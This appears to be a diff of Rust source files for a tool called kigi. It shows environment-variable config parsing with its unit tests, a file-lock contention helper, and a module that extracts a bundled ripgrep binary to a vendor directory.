tracing::warn!(
scrape_interval = ?self.preview_activity_scrape_interval,
window = ?self.preview_activity_window,
clamped_scrape = ?scrape,
clamped_window = ?window,
"KIGI_WORKSPACE preview scrape interval/window out of range; clamped to 1ms <= scrape < window"
);
self.preview_activity_window = window;
self.preview_activity_scrape_interval = scrape;
}
}
}
/// Read `var` and parse it as `T`. Returns `default` when unset; warns and
/// returns `default` when present but unparseable.
fn parse_or<T: FromStr>(var: &str, default: T) -> T {
match std::env::var(var) {
Err(_) => default,
Ok(raw) => match raw.parse::<T>() {
Ok(value) => value,
Err(_) => {
tracing::warn!(var, value = %raw, "Unparseable KIGI_WORKSPACE value; using default");
default
}
},
}
}
/// Parse `var` as a `u64` number of seconds into a [`Duration`].
fn secs_or(var: &str, default: Duration) -> Duration {
Duration::from_secs(parse_or(var, default.as_secs()))
}
/// Parse `var` as a `u64` number of milliseconds into a [`Duration`].
fn ms_or(var: &str, default: Duration) -> Duration {
Duration::from_millis(parse_or(var, default.as_millis() as u64))
}
/// Convert a parsed seconds value into a [`Duration`], rejecting `0`. A zero
/// gRPC timeout makes every RPC fail immediately, so a configured `0` warns
/// and falls back to `default` instead of being applied verbatim.
fn nonzero_secs_or(var: &str, secs: u64, default: Duration) -> Duration {
if secs == 0 {
tracing::warn!(
var,
default = ?default,
"KIGI_WORKSPACE agent timeout of 0s is invalid; using default"
);
return default;
}
Duration::from_secs(secs)
}
/// Parse `var` as a comma-separated list of `u64` milliseconds into a reconnect
/// backoff schedule. Returns `None` (keep the SDK's built-in default schedule)
/// when the var is unset or yields no values, and warns + returns `None` when
/// any element fails to parse.
fn backoff_schedule_from_env(var: &str) -> Option<Vec<Duration>> {
let raw = std::env::var(var).ok()?;
let mut schedule = Vec::new();
for part in raw.split(',').map(str::trim).filter(|p| !p.is_empty()) {
match part.parse::<u64>() {
Ok(ms) => schedule.push(Duration::from_millis(ms)),
Err(_) => {
tracing::warn!(
var,
value = %raw,
"Unparseable KIGI_WORKSPACE backoff schedule; using SDK default"
);
return None;
}
}
}
(!schedule.is_empty()).then_some(schedule)
}
#[cfg(test)]
mod tests {
use super::*;
// Crate-shared env lock: every test that mutates the process environment
// holds it for its full duration. ONE lock for the whole crate because the
// hazard is the global `environ` array under `unsafe set_var` (not the
// variable's value), so even disjoint vars must serialize.
use crate::ENV_TEST_LOCK as ENV_LOCK;
#[test]
fn defaults_match_documented_values() {
let cfg = StatusConfig::default();
assert_eq!(cfg.heartbeat, Duration::from_secs(30));
assert_eq!(cfg.keepalive, Duration::from_secs(60));
assert_eq!(cfg.ws_ping, Duration::from_secs(30));
assert_eq!(cfg.ws_reconnect_backoff, None);
assert_eq!(cfg.hub_warn_threshold, 5);
assert_eq!(cfg.hub_backoff_base, Duration::from_millis(100));
assert_eq!(cfg.session_idle_prune, Duration::from_secs(1800));
assert_eq!(cfg.drain_timeout, Duration::from_secs(30));
assert_eq!(cfg.agent_rpc_timeout, Duration::from_secs(30));
assert_eq!(cfg.agent_connect_timeout, Duration::from_secs(5));
assert!(!cfg.idle_ignores_background);
assert_eq!(cfg.preview_activity_window, Duration::from_secs(60));
assert_eq!(
cfg.preview_activity_scrape_interval,
Duration::from_secs(10)
);
assert!(!cfg.session_restored);
assert!(!cfg.revive_script_configured);
}
/// `parse_or` returns the default when the variable is unset. Uses a
/// uniquely-named var so it never collides with other tests' env writes.
#[test]
fn parse_or_unset_returns_default() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_PARSE_OR_UNSET";
unsafe { std::env::remove_var(var) };
assert_eq!(parse_or::<u32>(var, 5), 5);
}
#[test]
fn parse_or_valid_parses() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_PARSE_OR_VALID";
unsafe { std::env::set_var(var, "42") };
assert_eq!(parse_or::<u32>(var, 5), 42);
unsafe { std::env::remove_var(var) };
}
#[test]
fn parse_or_invalid_falls_back_without_panic() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_PARSE_OR_INVALID";
unsafe { std::env::set_var(var, "not-a-number") };
assert_eq!(parse_or::<u32>(var, 5), 5);
unsafe { std::env::remove_var(var) };
}
#[test]
fn secs_or_parses_into_duration() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_SECS_OR_VALID";
unsafe { std::env::set_var(var, "120") };
assert_eq!(
secs_or(var, Duration::from_secs(30)),
Duration::from_secs(120)
);
unsafe { std::env::remove_var(var) };
}
#[test]
fn secs_or_unset_returns_default() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_SECS_OR_UNSET";
unsafe { std::env::remove_var(var) };
assert_eq!(
secs_or(var, Duration::from_secs(30)),
Duration::from_secs(30)
);
}
#[test]
fn secs_or_invalid_falls_back_without_panic() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_SECS_OR_INVALID";
unsafe { std::env::set_var(var, "12.5") };
assert_eq!(
secs_or(var, Duration::from_secs(30)),
Duration::from_secs(30)
);
unsafe { std::env::remove_var(var) };
}
#[test]
fn ms_or_parses_into_duration() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_MS_OR_VALID";
unsafe { std::env::set_var(var, "250") };
assert_eq!(
ms_or(var, Duration::from_millis(100)),
Duration::from_millis(250)
);
unsafe { std::env::remove_var(var) };
}
#[test]
fn ms_or_invalid_falls_back_without_panic() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_MS_OR_INVALID";
unsafe { std::env::set_var(var, "abc") };
assert_eq!(
ms_or(var, Duration::from_millis(100)),
Duration::from_millis(100)
);
unsafe { std::env::remove_var(var) };
}
/// With none of the `KIGI_WORKSPACE_*` vars set, `from_env` reproduces
/// `StatusConfig::default()` field-for-field.
///
/// This is the one test that touches the real (non-`_TEST_`-prefixed)
/// var names: it `remove_var`s all of them before reading them. If a future
/// test sets these shared names, run them serialized to avoid a race.
#[test]
fn from_env_clean_matches_default() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
for var in [
"KIGI_WORKSPACE_HEARTBEAT_SECS",
"KIGI_WORKSPACE_KEEPALIVE_SECS",
"KIGI_WORKSPACE_WS_PING_SECS",
"KIGI_WORKSPACE_WS_RECONNECT_BACKOFF_MS",
"KIGI_WORKSPACE_HUB_WARN_THRESHOLD",
"KIGI_WORKSPACE_HUB_BACKOFF_BASE_MS",
"KIGI_WORKSPACE_SESSION_IDLE_PRUNE_SECS",
"KIGI_WORKSPACE_DRAIN_TIMEOUT_SECS",
"KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS",
"KIGI_WORKSPACE_AGENT_CONNECT_TIMEOUT_SECS",
"KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS",
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS",
"KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS",
"KIGI_SESSION_RESTORED",
"KIGI_REVIVE_SCRIPT_CONFIGURED",
] {
unsafe { std::env::remove_var(var) };
}
let cfg = StatusConfig::from_env();
let default = StatusConfig::default();
assert_eq!(cfg.heartbeat, default.heartbeat);
assert_eq!(cfg.keepalive, default.keepalive);
assert_eq!(cfg.ws_ping, default.ws_ping);
assert_eq!(cfg.ws_reconnect_backoff, default.ws_reconnect_backoff);
assert_eq!(cfg.hub_warn_threshold, default.hub_warn_threshold);
assert_eq!(cfg.hub_backoff_base, default.hub_backoff_base);
assert_eq!(cfg.session_idle_prune, default.session_idle_prune);
assert_eq!(cfg.drain_timeout, default.drain_timeout);
assert_eq!(cfg.agent_rpc_timeout, default.agent_rpc_timeout);
assert_eq!(cfg.agent_connect_timeout, default.agent_connect_timeout);
assert_eq!(cfg.idle_ignores_background, default.idle_ignores_background);
assert_eq!(cfg.preview_activity_window, default.preview_activity_window);
assert_eq!(
cfg.preview_activity_scrape_interval,
default.preview_activity_scrape_interval
);
assert_eq!(cfg.session_restored, default.session_restored);
assert_eq!(
cfg.revive_script_configured,
default.revive_script_configured
);
}
#[test]
fn from_env_reads_session_restored_true_only() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
unsafe { std::env::set_var("KIGI_SESSION_RESTORED", "true") };
let restored = StatusConfig::from_env().session_restored;
unsafe { std::env::set_var("KIGI_SESSION_RESTORED", "1") };
let non_canonical = StatusConfig::from_env().session_restored;
unsafe { std::env::remove_var("KIGI_SESSION_RESTORED") };
assert!(restored);
assert!(!non_canonical);
}
#[test]
fn from_env_reads_revive_script_configured_true_only() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
unsafe { std::env::set_var("KIGI_REVIVE_SCRIPT_CONFIGURED", "true") };
let configured = StatusConfig::from_env().revive_script_configured;
unsafe { std::env::set_var("KIGI_REVIVE_SCRIPT_CONFIGURED", "1") };
let non_canonical = StatusConfig::from_env().revive_script_configured;
unsafe { std::env::remove_var("KIGI_REVIVE_SCRIPT_CONFIGURED") };
assert!(configured);
assert!(!non_canonical);
}
#[test]
fn from_env_reads_idle_ignore_background_true() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
unsafe { std::env::set_var("KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS", "true") };
let cfg = StatusConfig::from_env();
unsafe { std::env::remove_var("KIGI_WORKSPACE_IDLE_IGNORE_BACKGROUND_TASKS") };
assert!(cfg.idle_ignores_background);
}
#[test]
fn from_env_reads_preview_activity_window() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
unsafe { std::env::set_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS", "120000") };
let cfg = StatusConfig::from_env();
unsafe { std::env::remove_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_WINDOW_MS") };
assert_eq!(cfg.preview_activity_window, Duration::from_millis(120_000));
}
#[test]
fn from_env_reads_preview_activity_scrape_interval() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
unsafe { std::env::set_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS", "5000") };
let cfg = StatusConfig::from_env();
unsafe { std::env::remove_var("KIGI_WORKSPACE_PREVIEW_ACTIVITY_SCRAPE_INTERVAL_MS") };
assert_eq!(
cfg.preview_activity_scrape_interval,
Duration::from_millis(5_000)
);
}
/// `validate` must not panic regardless of the relative ordering of
/// `keepalive` and `heartbeat`.
#[test]
fn validate_does_not_panic_when_keepalive_le_heartbeat() {
let mut cfg = StatusConfig {
keepalive: Duration::from_secs(10),
heartbeat: Duration::from_secs(30),
..StatusConfig::default()
};
cfg.validate();
}
#[test]
fn validate_clamps_preview_scrape_into_valid_range() {
for (window_ms, scrape_ms, exp_window_ms, exp_scrape_ms) in [
(1_000u64, 4_000u64, 1_000u64, 999u64),
(1_000, 1_000, 1_000, 999),
(1_000, 200, 1_000, 200),
(60_000, 0, 60_000, 1),
(0, 0, 2, 1),
(1, 5, 2, 1),
] {
let mut cfg = StatusConfig {
preview_activity_window: Duration::from_millis(window_ms),
preview_activity_scrape_interval: Duration::from_millis(scrape_ms),
..StatusConfig::default()
};
cfg.validate();
assert_eq!(
cfg.preview_activity_window,
Duration::from_millis(exp_window_ms)
);
assert_eq!(
cfg.preview_activity_scrape_interval,
Duration::from_millis(exp_scrape_ms)
);
assert!(cfg.preview_activity_scrape_interval >= Duration::from_millis(1));
assert!(cfg.preview_activity_scrape_interval < cfg.preview_activity_window);
}
}
/// A configured agent timeout of `0` seconds is invalid (it would make
/// every gRPC call fail immediately), so `nonzero_secs_or` falls back to
/// the supplied default instead of returning `Duration::ZERO`.
#[test]
fn nonzero_secs_or_zero_falls_back_to_default() {
assert_eq!(
nonzero_secs_or(
"KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS",
0,
Duration::from_secs(30)
),
Duration::from_secs(30)
);
assert_eq!(
nonzero_secs_or(
"KIGI_WORKSPACE_AGENT_CONNECT_TIMEOUT_SECS",
0,
Duration::from_secs(5)
),
Duration::from_secs(5)
);
}
/// A positive value is honored verbatim.
#[test]
fn nonzero_secs_or_positive_is_passed_through() {
assert_eq!(
nonzero_secs_or(
"KIGI_WORKSPACE_AGENT_RPC_TIMEOUT_SECS",
12,
Duration::from_secs(30)
),
Duration::from_secs(12)
);
}
/// An unset backoff var leaves the schedule unconfigured (`None`), so the
/// SDK keeps its built-in default.
#[test]
fn backoff_schedule_unset_returns_none() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_BACKOFF_UNSET";
unsafe { std::env::remove_var(var) };
assert_eq!(backoff_schedule_from_env(var), None);
}
/// A valid comma-separated list parses into millisecond `Duration`s in
/// order, tolerating surrounding whitespace.
#[test]
fn backoff_schedule_valid_list_parses_in_order() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_BACKOFF_VALID";
unsafe { std::env::set_var(var, "100, 200,500,1000") };
assert_eq!(
backoff_schedule_from_env(var),
Some(vec![
Duration::from_millis(100),
Duration::from_millis(200),
Duration::from_millis(500),
Duration::from_millis(1000),
])
);
unsafe { std::env::remove_var(var) };
}
/// A malformed element makes the whole schedule fall back to `None` (and
/// warns) rather than silently dropping entries.
#[test]
fn backoff_schedule_malformed_returns_none() {
let _guard = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let var = "KIGI_WORKSPACE_TEST_BACKOFF_MALFORMED";
unsafe { std::env::set_var(var, "100,not-a-number,500") };
assert_eq!(backoff_schedule_from_env(var), None);
unsafe { std::env::remove_var(var) };
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,32 @@
pub mod ripgrep;
use std::io;
/// True if `e` reports that an advisory `flock` is held by another process.
/// Unix surfaces this as `WouldBlock`; Windows as `ERROR_LOCK_VIOLATION` (OS
/// error 33), matched via [`fs2::lock_contended_error`].
pub fn is_lock_contended(e: &io::Error) -> bool {
e.kind() == io::ErrorKind::WouldBlock
|| (e.raw_os_error().is_some()
&& e.raw_os_error() == fs2::lock_contended_error().raw_os_error())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn is_lock_contended_classifies_errors() {
assert!(is_lock_contended(&fs2::lock_contended_error()));
assert!(is_lock_contended(&io::Error::new(
io::ErrorKind::WouldBlock,
"would block"
)));
#[cfg(windows)]
assert!(is_lock_contended(&io::Error::from_raw_os_error(33)));
assert!(!is_lock_contended(&io::Error::new(
io::ErrorKind::PermissionDenied,
"denied"
)));
}
}
@@ -0,0 +1,51 @@
#![allow(unexpected_cfgs)] // bundle_rg is set by the shell build script; harmless warning in the workspace lib
use std::path::PathBuf;
use std::sync::OnceLock;
#[cfg(bundle_rg)]
const RG_BYTES: &[u8] = include_bytes!(concat!(
env!("KIGI_SHELL_RG_GEN_DIR"),
"/rg-",
env!("KIGI_SHELL_RG_VER"),
"-",
env!("KIGI_SHELL_RG_TARGET"),
".bin"
));
#[cfg(bundle_rg)]
fn resolve_bundled_rg() -> std::io::Result<PathBuf> {
use std::{fs, os::unix::fs::PermissionsExt};
let p = kigi_tools::util::kigi_home::kigi_home()
.join("vendor")
.join(concat!(
"rg-",
env!("KIGI_SHELL_RG_VER"),
"-",
env!("KIGI_SHELL_RG_TARGET")
));
if !p.exists() {
fs::create_dir_all(p.parent().unwrap())?;
fs::write(&p, RG_BYTES)?;
let mut perms = fs::metadata(&p)?.permissions();
perms.set_mode(0o755);
fs::set_permissions(&p, perms)?;
}
Ok(p)
}
pub fn rg_path() -> PathBuf {
static RG_EXEC: OnceLock<PathBuf> = OnceLock::new();
RG_EXEC
.get_or_init(|| {
#[cfg(bundle_rg)]
{
resolve_bundled_rg().unwrap_or_else(|_| PathBuf::from("rg"))
}
#[cfg(not(bundle_rg))]
{
PathBuf::from("rg")
}
})
.clone()
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff